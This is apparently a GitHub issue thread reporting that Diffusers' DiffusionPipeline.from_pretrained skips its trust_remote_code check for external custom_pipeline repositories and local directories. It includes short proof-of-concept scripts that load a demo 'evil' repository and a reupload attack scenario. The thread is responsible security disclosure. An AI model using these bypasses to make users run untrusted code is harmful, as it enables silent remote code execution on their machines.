Insufficient trust check for custom_pipeline parameter of DiffusionPipeline.from_pretrained method

[Vancir]

Describe the bug

The DiffusionPipeline.from_pretrained API in the Diffusers library allows users to specify a custom_pipeline, which can point to an external Hugging Face repository containing a pipeline.py. This feature enables flexible extension of pipelines but may raise critical security concerns.

The current implementation enforces the trust_remote_code check only on the main model repository (pretrained_model_name), but fails to validate the external repository specified via custom_pipeline.

As a result, even when trust_remote_code=False, Diffusers may still download and execute arbitrary Python code from an attacker-controlled repository referenced by custom_pipeline. This creates a bypass of the intended security mechanism, leading to silent remote code execution.

Root Cause

diffusers/src/diffusers/pipelines/pipeline_utils.py

Lines 1676 to 1704 in dc8d903

	load_pipe_from_hub = custom_pipeline is not None and f"{custom_pipeline}.py" in filenames
	load_components_from_hub = len(custom_components) > 0
	if load_pipe_from_hub and not trust_remote_code:
	raise ValueError(
	f"The repository for {pretrained_model_name} contains custom code in {custom_pipeline}.py which must be executed to correctly "
	f"load the model. You can inspect the repository content at https://hf.co/{pretrained_model_name}/blob/main/{custom_pipeline}.py.\n"
	f"Please pass the argument `trust_remote_code=True` to allow custom code to be run."
	)
	if load_components_from_hub and not trust_remote_code:
	raise ValueError(
	f"The repository for {pretrained_model_name} contains custom code in {'.py, '.join([os.path.join(k, v) for k, v in custom_components.items()])} which must be executed to correctly "
	f"load the model. You can inspect the repository content at {', '.join([f'https://hf.co/{pretrained_model_name}/{k}/{v}.py' for k, v in custom_components.items()])}.\n"
	f"Please pass the argument `trust_remote_code=True` to allow custom code to be run."
	)
	# retrieve passed components that should not be downloaded
	pipeline_class = _get_pipeline_class(
	cls,
	config_dict,
	load_connected_pipeline=load_connected_pipeline,
	custom_pipeline=custom_pipeline,
	repo_id=pretrained_model_name if load_pipe_from_hub else None,
	hub_revision=revision,
	class_name=custom_class_name,
	cache_dir=cache_dir,
	revision=custom_revision,
	)

The check does not inspect the external repository referenced by custom_pipeline. Therefore, If custom_pipeline points to another repository (e.g., XManFromXlab/diffuser-custom-pipeline), and the main repo does not contain the corresponding .py file, then load_pipe_from_hub evaluates to False. As a result, the security check is skipped entirely, and diffusers will proceed to fetch the external repository, load and execute its pipeline.py. This results in a trust boundary violation, where remote code execution occurs without explicit user consent.

Reproduction

I created an example model repository on HuggingFace Hub for demonstration: XManFromXlab/diffuser-custom-pipeline. Note that the trust_remote_code flag is set to False.

from diffusers import DiffusionPipeline

benign_repo = "google/ddpm-cifar10-32"
evil_repo = "XManFromXlab/diffuser-custom-pipeline"
DiffusionPipeline.from_pretrained(
    benign_repo, custom_pipeline=evil_repo, trust_remote_code=False
)

In this example, it will print the following warning messages:

!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!

Logs

System Info

• 🤗 Diffusers version: 0.38.0.dev0
• Platform: Linux-6.8.0-88-generic-x86_64-with-glibc2.39
• Running on Google Colab?: No
• Python version: 3.12.3
• PyTorch version (GPU?): 2.11.0+cu130 (False)
• Flax version (CPU?/GPU?/TPU?): not installed (NA)
• Jax version: not installed
• JaxLib version: not installed
• Huggingface_hub version: 1.10.1
• Transformers version: not installed
• Accelerate version: not installed
• PEFT version: not installed
• Bitsandbytes version: not installed
• Safetensors version: 0.7.0
• xFormers version: not installed
• Accelerator: NVIDIA H200 NVL, 143771 MiB
  NVIDIA H200 NVL, 143771 MiB
  NVIDIA H200 NVL, 143771 MiB
• Using GPU in script?:
• Using distributed or parallel set-up in script?:

Who can help?

@sayakpaul @DN6

[hlky]

@Vancir Very cool.

from diffusers import DiffusionPipeline
from huggingface_hub import snapshot_download

benign_repo = "google/ddpm-cifar10-32"
evil_repo = "XManFromXlab/diffuser-custom-pipeline"
snapshot_path = snapshot_download(repo_id=benign_repo)
DiffusionPipeline.from_pretrained(
    snapshot_path, custom_pipeline=evil_repo, trust_remote_code=False
)

Same issue in different code path with local directory for pretrained_model_name_or_path:

diffusers/src/diffusers/pipelines/pipeline_utils.py

Lines 847 to 853 in dc8d903

	if not os.path.isdir(pretrained_model_name_or_path):
	if pretrained_model_name_or_path.count("/") > 1:
	raise ValueError(
	f'The provided pretrained_model_name_or_path "{pretrained_model_name_or_path}"'
	" is neither a valid local path nor a valid repo id. Please check the parameter."
	)
	cached_folder = cls.download(

diffusers/src/diffusers/pipelines/pipeline_utils.py

Lines 913 to 926 in dc8d903

	# 3. Load the pipeline class, if using custom module then load it from the hub
	# if we load from explicit class, let's use it
	custom_pipeline, custom_class_name = _resolve_custom_pipeline_and_cls(
	folder=cached_folder, config=config_dict, custom_pipeline=custom_pipeline
	)
	pipeline_class = _get_pipeline_class(
	cls,
	config=config_dict,
	load_connected_pipeline=load_connected_pipeline,
	custom_pipeline=custom_pipeline,
	class_name=custom_class_name,
	cache_dir=cache_dir,
	revision=custom_revision,
	)

We reach this point without hitting download - so trust_remote_code is never even checked and the remote code runs.

[hlky]

Found another case, I will discuss it further here to avoid too much noise on the PR:

• pretrained_model_name_or_path as local directory with custom components, trust_remote_code is never checked

from diffusers import DiffusionPipeline
from huggingface_hub import snapshot_download

snapshot_path = snapshot_download(repo_id="hf-internal-testing/tiny-sdxl-custom-components")
pipeline = DiffusionPipeline.from_pretrained(
    snapshot_path, trust_remote_code=False
)
assert pipeline.config.unet == ("diffusers_modules.local.my_unet_model", "MyUNetModel")
assert pipeline.config.scheduler == ("diffusers_modules.local.my_scheduler", "MyScheduler")

This one is particularly interesting. It is fairly common, especially in the wider community and those who prefer local files, to download a Hub repo and then use that local directory with from_pretrained. The second case mentioned in the PR and in the comment above would still require a user to specify a malicious repo as custom_pipeline, this case does not, simply loading the local directory that contains malicious custom components would run the malicious code.

A malicious actor could reupload a popular model and insert custom components, this would be particularly effective if the chosen model was access gated as many users would opt for the non-gated version.

[iwr-redmond]

This would also affect DDUF files, although they are underutilized at present.

[sayakpaul]

Thanks, all, for the discussions! I just reviewed the PR from @hlky. I will let @DN6 do a review as well.